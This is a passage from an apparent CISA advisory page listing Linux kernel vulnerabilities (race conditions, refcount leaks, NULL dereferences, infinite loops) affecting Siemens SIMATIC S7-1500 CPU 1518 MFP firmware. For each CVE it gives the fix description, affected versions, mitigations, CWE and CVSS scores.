<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/674.html">CWE-674 Uncontrolled Recursion</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38681</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mm/ptdump: take the memory hotplug lock inside ptdump_walk_pgd() Memory hot remove unmaps and tears down various kernel page table regions as required. The ptdump code can race with concurrent modifications of the kernel page tables. When leaf entries are modified concurrently, the dump code may log stale or inconsistent information for a VA range, but this is otherwise not harmful. But when intermediate levels of kernel page table are freed, the dump code will continue to use memory that has been freed and potentially reallocated for another purpose. In such cases, the ptdump code may dereference bogus addresses, leading to a number of potential problems. To avoid the above mentioned race condition, platforms such as arm64, riscv and s390 take memory hotplug lock, while dumping kernel page table via the sysfs interface /sys/kernel/debug/kernel_page_tables. Similar race condition exists while checking for pages that might have been marked W+X via /sys/kernel/debug/kernel_page_tables/check_wx_pages which in turn calls ptdump_check_wx(). Instead of solving this race condition again, let's just move the memory hotplug lock inside generic ptdump_check_wx() which will benefit both the scenarios. Drop get_online_mems() and put_online_mems() combination from all existing platform ptdump code paths.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38681">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/366.html">CWE-366 Race Condition within a Thread</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38704</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: rcu/nocb: Fix possible invalid rdp's-&gt;nocb_cb_kthread pointer access In the preparation stage of CPU online, if the corresponding the rdp's-&gt;nocb_cb_kthread does not exist, will be created, there is a situation where the rdp's rcuop kthreads creation fails, and then de-offload this CPU's rdp, does not assign this CPU's rdp-&gt;nocb_cb_kthread pointer, but this rdp's-&gt;nocb_gp_rdp and rdp's-&gt;rdp_gp-&gt;nocb_gp_kthread is still valid. This will cause the subsequent re-offload operation of this offline CPU, which will pass the conditional check and the kthread_unpark() will access invalid rdp's-&gt;nocb_cb_kthread pointer. This commit therefore use rdp's-&gt;nocb_gp_kthread instead of rdp_gp's-&gt;nocb_gp_kthread for safety check.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38704">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38721</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: ctnetlink: fix refcount leak on table dump There is a reference count leak in ctnetlink_dump_table(): if (res &lt; 0) { nf_conntrack_get(&amp;ct-&gt;ct_general); // HERE cb-&gt;args[1] = (unsigned long)ct; ... While its very unlikely, its possible that ct == last. If this happens, then the refcount of ct was already incremented. This 2nd increment is never undone. This prevents the conntrack object from being released, which in turn keeps prevents cnet-&gt;count from dropping back to 0. This will then block the netns dismantle (or conntrack rmmod) as nf_conntrack_cleanup_net_list() will wait forever. This can be reproduced by running conntrack_resize.sh selftest in a loop. It takes ~20 minutes for me on a preemptible kernel on average before I see a runaway kworker spinning in nf_conntrack_cleanup_net_list. One fix would to change this to: if (res &lt; 0) { if (ct != last) nf_conntrack_get(&amp;ct-&gt;ct_general); But this reference counting isn't needed in the first place. We can just store a cookie value instead. A followup patch will do the same for ctnetlink_exp_dump_table, it looks to me as if this has the same problem and like ctnetlink_dump_table, we only need a 'skip hint', not the actual object so we can apply the same cookie strategy there as well.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38721">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/772.html">CWE-772 Missing Release of Resource after Effective Lifetime</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38725</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: usb: asix_devices: add phy_mask for ax88772 mdio bus Without setting phy_mask for ax88772 mdio bus, current driver may create at most 32 mdio phy devices with phy address range from 0x00 ~ 0x1f. DLink DUB-E100 H/W Ver B1 is such a device. However, only one main phy device will bind to net phy driver. This is creating issue during system suspend/resume since phy_polling_mode() in phy_state_machine() will directly deference member of phydev-&gt;drv for non-main phy devices. Then NULL pointer dereference issue will occur. Due to only external phy or internal phy is necessary, add phy_mask for ax88772 mdio bus to workarnoud the issue.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38725">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38727</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netlink: avoid infinite retry looping in netlink_unicast() netlink_attachskb() checks for the socket's read memory allocation constraints. Firstly, it has: rmem &lt; READ_ONCE(sk-&gt;sk_rcvbuf) to check if the just increased rmem value fits into the socket's receive buffer. If not, it proceeds and tries to wait for the memory under: rmem + skb-&gt;truesize &gt; READ_ONCE(sk-&gt;sk_rcvbuf) The checks don't cover the case when skb-&gt;truesize + sk-&gt;sk_rmem_alloc is equal to sk-&gt;sk_rcvbuf. Thus the function neither successfully accepts these conditions, nor manages to reschedule the task - and is called in retry loop for indefinite time which is caught as: rcu: INFO: rcu_sched self-detected stall on CPU rcu: 0-....: (25999 ticks this GP) idle=ef2/1/0x4000000000000000 softirq=262269/262269 fqs=6212 (t=26000 jiffies g=230833 q=259957) NMI backtrace for cpu 0 CPU: 0 PID: 22 Comm: kauditd Not tainted 5.10.240 #68 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-4.fc42 04/01/2014 Call Trace: dump_stack lib/dump_stack.c:120 nmi_cpu_backtrace.cold lib/nmi_backtrace.c:105 nmi_trigger_cpumask_backtrace lib/nmi_backtrace.c:62 rcu_dump_cpu_stacks kernel/rcu/tree_stall.h:335 rcu_sched_clock_irq.cold kernel/rcu/tree.c:2590 update_process_times kernel/time/timer.c:1953 tick_sched_handle kernel/time/tick-sched.c:227 tick_sched_timer kernel/time/tick-sched.c:1399 __hrtimer_run_queues kernel/time/hrtimer.c:1652 hrtimer_interrupt kernel/time/hrtimer.c:1717 __sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1113 asm_call_irq_on_stack arch/x86/entry/entry_64.S:808 netlink_attachskb net/netlink/af_netlink.c:1234 netlink_unicast net/netlink/af_netlink.c:1349 kauditd_send_queue kernel/audit.c:776 kauditd_thread kernel/audit.c:897 kthread kernel/kthread.c:328 ret_from_fork arch/x86/entry/entry_64.S:304 Restore the original behavior of the check which commit in Fixes accidentally missed when restructuring the code. Found by Linux Verification Center (linuxtesting.org).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38727">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/835.html">CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38732</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_reject: don't leak dst refcount for loopback packets recent patches to add a WARN() when replacing skb dst entry found an old bug: WARNING: include/linux/skbuff.h:1165 skb_dst_check_unset include/linux/skbuff.h:1164 [inline] WARNING: include/linux/skbuff.h:1165 skb_dst_set include/linux/skbuff.h:1210 [inline] WARNING: include/linux/skbuff.h:1165 nf_reject_fill_skb_dst+0x2a4/0x330 net/ipv4/netfilter/nf_reject_ipv4.c:234 [..] Call Trace: nf_send_unreach+0x17b/0x6e0 net/ipv4/netfilter/nf_reject_ipv4.c:325 nft_reject_inet_eval+0x4bc/0x690 net/netfilter/nft_reject_inet.c:27 expr_call_ops_eval net/netfilter/nf_tables_core.c:237 [inline] .. This is because blamed commit forgot about loopback packets. Such packets already have a dst_entry attached, even at PRE_ROUTING stage. Instead of checking hook just check if the skb already has a route attached to it.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38732">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/911.html">CWE-911 Improper Update of Reference Count</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.8</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-38736</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: usb: asix_devices: Fix PHY address mask in MDIO bus initialization Syzbot reported shift-out-of-bounds exception on MDIO bus initialization. The PHY address should be masked to 5 bits (0-31). Without this mask, invalid PHY addresses could be used, potentially causing issues with MDIO bus operations. Fix this by masking the PHY address with 0x1f (31 decimal) to ensure it stays within the valid range.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-38736">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39681</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: x86/cpu/hygon: Add missing resctrl_cpu_detect() in bsp_init helper Since 923f3a2b48bd ("x86/resctrl: Query LLC monitoring properties once during boot") resctrl_cpu_detect() has been moved from common CPU initialization code to the vendor-specific BSP init helper, while Hygon didn't put that call in their code. This triggers a division by zero fault during early booting stage on our machines with X86_FEATURE_CQM* supported, where get_rdt_mon_resources() tries to calculate mon_l3_config with uninitialized boot_cpu_data.x86_cache_occ_scale. Add the missing resctrl_cpu_detect() in the Hygon BSP init helper. [ bp: Massage commit message. ]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39681">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/369.html">CWE-369 Divide By Zero</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39691</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fs/buffer: fix use-after-free when call bh_read() helper There's issue as follows: BUG: KASAN: stack-out-of-bounds in end_buffer_read_sync+0xe3/0x110 Read of size 8 at addr ffffc9000168f7f8 by task swapper/3/0 CPU: 3 UID: 0 PID: 0 Comm: swapper/3 Not tainted 6.16.0-862.14.0.6.x86_64 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996) Call Trace: dump_stack_lvl+0x55/0x70 print_address_description.constprop.0+0x2c/0x390 print_report+0xb4/0x270 kasan_report+0xb8/0xf0 end_buffer_read_sync+0xe3/0x110 end_bio_bh_io_sync+0x56/0x80 blk_update_request+0x30a/0x720 scsi_end_request+0x51/0x2b0 scsi_io_completion+0xe3/0x480 ? scsi_device_unbusy+0x11e/0x160 blk_complete_reqs+0x7b/0x90 handle_softirqs+0xef/0x370 irq_exit_rcu+0xa5/0xd0 sysvec_apic_timer_interrupt+0x6e/0x90 Above issue happens when do ntfs3 filesystem mount, issue may happens as follows: mount IRQ ntfs_fill_super read_cache_page do_read_cache_folio filemap_read_folio mpage_read_folio do_mpage_readpage ntfs_get_block_vbo bh_read submit_bh wait_on_buffer(bh); blk_complete_reqs scsi_io_completion scsi_end_request blk_update_request end_bio_bh_io_sync end_buffer_read_sync __end_buffer_read_notouch unlock_buffer wait_on_buffer(bh);--&gt; return will return to caller put_bh --&gt; trigger stack-out-of-bounds In the mpage_read_folio() function, the stack variable 'map_bh' is passed to ntfs_get_block_vbo(). Once unlock_buffer() unlocks and wait_on_buffer() returns to continue processing, the stack variable is likely to be reclaimed. Consequently, during the end_buffer_read_sync() process, calling put_bh() may result in stack overrun. If the bh is not allocated on the stack, it belongs to a folio. Freeing a buffer head which belongs to a folio is done by drop_buffers() which will fail to free buffers which are still locked. So it is safe to call put_bh() before __end_buffer_read_notouch().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39691">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
